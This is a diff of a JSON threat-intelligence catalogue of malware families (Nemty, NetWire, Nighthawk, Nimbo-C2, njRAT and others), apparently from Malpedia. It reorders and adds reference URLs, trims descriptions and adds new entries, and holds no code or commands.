"https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.fortinet.com/blog/threat-research/nemty-ransomware-early-stage-threat.html", + "https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/", "http://www.secureworks.com/research/threat-profiles/gold-mansard", - "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw", - "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/", - "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", "https://www.bleepingcomputer.com/news/security/nemty-ransomware-decryptor-released-recover-files-for-free/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + "https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", + "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/", + "https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/", + "https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b", + "https://securelist.com/evolution-of-jsworm-ransomware/102428/", + "https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/", + "https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/" ], "synonyms": [], "type": [] @@ -33472,13 +35309,13 @@ "value": "Nerbian RAT" }, { - "description": "Neshta is a 2005 Belarusian file infector virus . The name of the virus comes from the Belarusian word \"nesta\" meaning \"something.\" The program is a Windows application (exe file). Written in Delphi . The size of the original malicious file is 41,472 bytes . This file virus is the type of virus that is no longer popular at present.", + "description": "Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word \"nesta\" meaning \"something.\"", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", "https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html", "https://www.virusradar.com/en/Win32_Neshta.A/description" ], "synonyms": [], @@ -33492,11 +35329,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg", - "https://youtu.be/8hJyLkLHH8Q?t=1208", "https://youtu.be/_kzFNQySEMw?t=789", "https://www.documentcloud.org/documents/4834259-Park-Jin-Hyok-Complaint.html", - "https://content.fireeye.com/apt/rpt-apt38", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180231/LazarusUnderTheHood_PDF_final_for_securelist.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180231/LazarusUnderTheHood_PDF_final_for_securelist.pdf", + "https://youtu.be/8hJyLkLHH8Q?t=1208", + "https://content.fireeye.com/apt/rpt-apt38" ], "synonyms": [], "type": [] @@ -33535,9 +35372,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle", + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/" ], "synonyms": [ "Neteagle_Scout", @@ -33545,15 +35382,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "0ee08ab5-140c-44c3-9b0a-4a352500b14e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3bb8052e-8ed2-48e3-a2cf-7358bae8c6b5", "value": "NETEAGLE" }, @@ -33562,13 +35390,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netfilter", - "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit", "https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf", + "https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users", "https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/", - "https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/", "https://www.intezer.com/blog/malware-analysis/fast-insights-for-a-microsoft-signed-netfilter-rootkit/", - "https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users" + "https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/" ], "synonyms": [], "type": [] @@ -33620,17 +35448,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://asec.ahnlab.com/en/45312/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", "https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/", - "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", - "http://www.netsupportmanager.com/index.asp", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", "https://www.bleepingcomputer.com/news/security/malicious-web-redirect-service-infects-16-500-sites-to-push-malware/", + "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", + "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", + "https://www.trendmicro.com/en_us/research/23/c/new-opcjacker-malware-distributed-via-fake-vpn-malvertising.html", "https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/", "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", - "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html" + "http://www.netsupportmanager.com/index.asp" ], "synonyms": [ "NetSupport" @@ -33645,8 +35475,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler", - "https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests", "https://cybergeeks.tech/dissecting-apt21-samples-using-a-step-by-step-approach/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf", + "https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" ], "synonyms": [ @@ -33654,15 +35485,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "59b70721-6fed-4805-afa5-4ff2554bef81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3a26ee44-3224-48f3-aefb-3978c972d928", "value": "NetTraveler" }, @@ -33671,51 +35493,57 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire", - "https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/", - "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", - "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/", - "http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.circl.lu/pub/tr-23/", - "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.", - "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA", - "http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", - "https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view", - "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", - "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://community.riskiq.com/article/24759ad2", - "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.youtube.com/watch?v=TeQdZxP0RYY", - "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", "https://news.drweb.ru/show/?i=13281&c=23", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/", - "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA", + "https://www.youtube.com/watch?v=TeQdZxP0RYY", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/" + "https://community.riskiq.com/article/24759ad2", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html", + "https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/", + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://lmntrix.com/lab/analysis-of-netwire-rat/", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://www.circl.lu/pub/tr-23/", + "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.theregister.com/2023/03/10/fbi_netwire_seizure/", + "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", + "https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/", + "https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://drive.google.com/file/d/13prt2ve_sHNRRiGthB07qtfuinftJX35/view", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", + "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", + "http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html", + "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ "NetWeird", @@ -33732,22 +35560,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron", - "https://www.ncsc.gov.uk/alerts/turla-group-malware", "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://www.ncsc.gov.uk/alerts/turla-group-malware", "https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5c2eeaec-25e3-11e8-9d28-7f64aba5b173", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "101c2c0e-c082-4b5a-b820-2da789e839d9", "value": "Neuron" }, @@ -33756,19 +35575,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://web.archive.org/web/20191223034907/http://blog.ptsecurity.com/2019/08/finding-neutrino.html", - "http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html", - "https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/", - "http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html", - "http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/", - "https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/", - "https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/", - "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet", "https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/", - "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/22", + "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet", + "https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex", + "http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/", + "http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html", "http://blog.ptsecurity.com/2019/08/finding-neutrino.html", - "https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex" + "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/22", + "https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/", + "https://web.archive.org/web/20191223034907/http://blog.ptsecurity.com/2019/08/finding-neutrino.html", + "https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", + "http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html", + "https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/" ], "synonyms": [ "Kasidet" @@ -33809,12 +35628,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", "https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/", "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/", - "https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view", + "https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html", "https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6" ], "synonyms": [], @@ -33841,8 +35660,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings", - "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/" ], "synonyms": [], @@ -33861,15 +35680,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5abc6792-be17-48ee-a765-29cffa4242ee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "1d32e7c3-840e-4247-b28b-818cb1c4ae7c", "value": "NewsReels" }, @@ -33878,25 +35688,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct", - "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", - "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/" + "https://www.secureworks.com/research/threat-profiles/bronze-express", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" ], "synonyms": [ "CT" ], "type": [] }, - "related": [ - { - "dest-uuid": "c5e3766c-9527-47c3-94db-f10de2c56248", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ec50a75e-81f0-48b3-b1df-215eac646421", "value": "NewCT" }, @@ -33932,8 +35733,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb", - "https://research.checkpoint.com/ramnits-network-proxy-servers/", - "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html" + "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html", + "https://research.checkpoint.com/ramnits-network-proxy-servers/" ], "synonyms": [ "Grobios" @@ -33970,19 +35771,36 @@ "uuid": "5a998606-a9a9-42ad-affb-9be37e11ec25", "value": "Nibiru" }, + { + "description": "C2 framework.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk", + "https://github.com/struppigel/hedgehog-tools/blob/main/nighthawk_str_decoder.py", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://github.com/kevoreilly/CAPEv2/blob/master/modules/processing/parsers/CAPE/Nighthawk.py", + "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice", + "https://web.archive.org/web/20220505170100/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c8b9aa40-9c55-4283-851c-635673f87182", + "value": "Nighthawk" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/", - "https://twitter.com/cglyer/status/1480742363991580674", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://twitter.com/cglyer/status/1480742363991580674", + "https://twitter.com/cglyer/status/1480734487000453121", "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", + "https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/", "https://www.youtube.com/watch?v=Yzt_zOO8pDM", "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", - "https://twitter.com/cglyer/status/1480734487000453121" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [ "Night Sky" @@ -34006,6 +35824,19 @@ "uuid": "b52a6512-7b0c-431a-8680-93f12921ba46", "value": "NimbleMamba " }, + { + "description": "According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 only. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2", + "https://github.com/itaymigdal/Nimbo-C2" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bda7efa0-e08d-453e-95d4-9307c5104a69", + "value": "Nimbo-C2" + }, { "description": "Malware written in Nim, stealing data including discord tokens from browsers, exfiltrating the results via a Discord webhook.", "meta": { @@ -34052,6 +35883,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol", "https://en.wikipedia.org/wiki/Nitol_botnet", "https://krebsonsecurity.com/tag/nitol/", + "https://asec.ahnlab.com/en/44504/", "https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/" ], "synonyms": [], @@ -34065,10 +35897,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitro", - "https://twitter.com/malwrhunterteam/status/1430616882231578624", - "https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", - "https://github.com/nightfallgt/nitro-ransomware" + "https://github.com/nightfallgt/nitro-ransomware", + "https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/", + "https://twitter.com/malwrhunterteam/status/1430616882231578624" ], "synonyms": [ "Hydra" @@ -34109,84 +35941,81 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control", - "https://www.4hou.com/posts/VoPM", - "https://asec.ahnlab.com/1369", - "https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", - "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", - "https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", - "https://blog.talosintelligence.com/2021/07/sidecopy.html", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - 